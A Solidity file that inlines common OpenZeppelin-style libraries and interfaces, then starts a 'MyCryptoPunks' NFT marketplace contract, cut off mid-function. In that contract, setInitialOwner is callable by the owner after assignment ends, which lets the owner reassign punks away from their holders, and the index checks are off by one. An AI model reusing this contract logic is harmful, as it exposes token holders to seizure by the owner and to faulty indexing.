// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @title Counters
 * @author Matt Condon (@shrugs)
 * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
 * of elements in a mapping, issuing ERC721 ids, or counting request ids.
 *
 * Include with `using Counters for Counters.Counter;`
 */
library Counters {
    struct Counter {
        // This variable should never be directly accessed by users of the library: interactions must be restricted to
        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
        // this feature: see https://github.com/ethereum/solidity/issues/4637
        uint256 _value; // default: 0
    }

    function current(Counter storage counter) internal view returns (uint256) {
        return counter._value;
    }

    function increment(Counter storage counter) internal {
        unchecked {
            counter._value += 1;
        }
    }

    function decrement(Counter storage counter) internal {
        uint256 value = counter._value;
        require(value > 0, "Counter: decrement overflow");
        unchecked {
            counter._value = value - 1;
        }
    }

    function reset(Counter storage counter) internal {
        counter._value = 0;
    }
}

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow, so we distribute
        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
    }
}

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

contract MyCryptoPunks {

    // You can use this hash to verify the image file containing all the punks
    string public imageHash = "ac39af4793119ee46bbff351d8cb6b5f23da60222126add4268e261199a2921b";

    address owner;

    string public standard = 'MyCryptoPunks';
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;

    uint256 public nextPunkIndexToAssign = 0;

    bool public allPunksAssigned = false;
    uint256 public punksRemainingToAssign = 0;

    //mapping (address => uint256) public addressToPunkIndex;
    mapping (uint256 => address) public punkIndexToAddress;

    /* This creates an array with all balances */
    mapping (address => uint256) public balanceOf;

    struct Offer {
        bool isForSale;
        uint256 punkIndex;
        address seller;
        uint256 minValue;          // in ether
        address onlySellTo;     // specify to sell only to a specific person
    }

    struct Bid {
        bool hasBid;
        uint256 punkIndex;
        address bidder;
        uint256 value;
    }

    // A record of punks that are offered for sale at a specific minimum value, and perhaps to a specific person
    mapping (uint256 => Offer) public punksOfferedForSale;

    // A record of the highest punk bid
    mapping (uint256 => Bid) public punkBids;

    mapping (address => uint256) public pendingWithdrawals;

    event Assign(address indexed to, uint256 punkIndex);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event PunkTransfer(address indexed from, address indexed to, uint256 punkIndex);
    event PunkOffered(uint256 indexed punkIndex, uint256 minValue, address indexed toAddress);
    event PunkBidEntered(uint256 indexed punkIndex, uint256 value, address indexed fromAddress);
    event PunkBidWithdrawn(uint256 indexed punkIndex, uint256 value, address indexed fromAddress);
    event PunkBought(uint256 indexed punkIndex, uint256 value, address indexed fromAddress, address indexed toAddress);
    event PunkNoLongerForSale(uint256 indexed punkIndex);

    /* Initializes contract with initial supply tokens to the creator of the contract */
    constructor() {
        //        balanceOf[msg.sender] = initialSupply;              // Give the creator all initial tokens
        owner = msg.sender;
        totalSupply = 10000;                        // Update total supply
        punksRemainingToAssign = totalSupply;
        name = "MYCRYPTOPUNKS";                                   // Set the name for display purposes
        symbol = "MCP";                               // Set the symbol for display purposes
        decimals = 0;                                       // Amount of decimals for display purposes
    }

    function setInitialOwner(address to, uint256 punkIndex) public {
        require(msg.sender == owner, "Not owner");
        require(allPunksAssigned == true, "Not assigned");
        require(punkIndex <= 10000, "Index out of bounds");
        if (punkIndexToAddress[punkIndex] != to) {
            if (punkIndexToAddress[punkIndex] != address(0)) {
                balanceOf[punkIndexToAddress[punkIndex]]--;
            } else {
                punksRemainingToAssign--;
            }
            punkIndexToAddress[punkIndex] = to;
            balanceOf[to]++;
            emit Assign(to, punkIndex);
        }
    }

    function setInitialOwners(address[] memory addresses, uint256[] memory indices) public {
        require(msg.sender == owner, "Not owner");
        uint256 n = addresses.length;
        for (uint256 i = 0; i < n; i++) {
            setInitialOwner(addresses[i], indices[i]);
        }
    }

    function allInitialOwnersAssigned() public {
        require(msg.sender == owner, "Not owner");
        allPunksAssigned = true;
    }

    function getPunk(uint256 punkIndex) public {
        require(allPunksAssigned == true, "Not assigned");
        require(punksRemainingToAssign > 0, "Punks remaining not assigned");
        require(punkIndexToAddress[punkIndex] == address(0), "Punk address should be address 0");
        require(punkIndex <= 10000, "Index out of bounds");
        punkIndexToAddress[punkIndex] = msg.sender;
        balanceOf[msg.sender]++;
        punksRemainingToAssign--;
        emit Assign(msg.sender, punkIndex);
    }

    // Transfer ownership of a punk to another user without requiring payment
    function transferPunk(address to, uint256 punkIndex) public {
        require(allPunksAssigned == true, "Not assigned");
        require(punkIndexToAddress[punkIndex] == msg.sender, "The sender should be");
        require(punkIndex <= 10000, "Index out of bounds");
        if (punksOfferedForSale[punkIndex].isForSale) {
            punkNoLongerForSale(punkIndex);
        }
        punkIndexToAddress[punkIndex] = to;
        balanceOf[msg.sender]--;
        balanceOf[to]++;
        emit Transfer(msg.sender, to, 1);
        emit PunkTransfer(msg.sender, to, punkIndex);
        // Check for the case where there is a bid from the new owner and refund it.
        // Any other bid can stay in place.
        Bid memory bid = punkBids[punkIndex];
        if (bid.bidder == to) {
            // Kill bid and refund value
            pendingWithdrawals[to] += bid.value;
            punkBids[punkIndex] = Bid(false, punkIndex, address(0), 0);
        }
    }

    function punkNoLongerForSale(uint256 punkIndex) public {
        require(allPunksAssigned == true, "Not assigned");
        require(punkIndexToAddress[punkIndex] == msg.sender, "The sender should be");
        require(punkIndex <= 10000, "Index out of bounds");
        punksOfferedForSale[punkIndex] = Offer(false, punkIndex, msg.sender, 0, address(0));
        emit PunkNoLongerForSale(punkIndex);
    }

    function offerPunkForSale(uint256 punkIndex, uint256 minSalePriceInWei) public {
        require(allPunksAssigned == true, "Not assigned");
